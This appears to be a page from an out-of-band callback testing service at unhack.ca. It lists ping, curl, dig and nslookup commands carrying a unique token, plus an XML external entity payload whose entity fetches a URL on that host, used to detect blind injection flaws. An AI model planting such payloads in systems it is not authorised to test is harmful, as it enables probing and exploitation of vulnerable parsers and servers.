$ ping -c1 -p 0022d90873a59f0659b1b075a3f9a700 unhack.ca
 
$ curl http://unhack.ca/p/22d90873a59f0659b1b075a3f9a7
 
$ dig 22d90873a59f0659b1b075a3f9a7 @unhack.ca
 
$ dig 22d90873a59f0659b1b075a3f9a7.ns.unhack.ca
 
C:\> nslookup 22d90873a59f0659b1b075a3f9a7 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/22d90873a59f0659b1b075a3f9a7">]>
    <foo>&xxe;</foo>
 
Waiting for ping...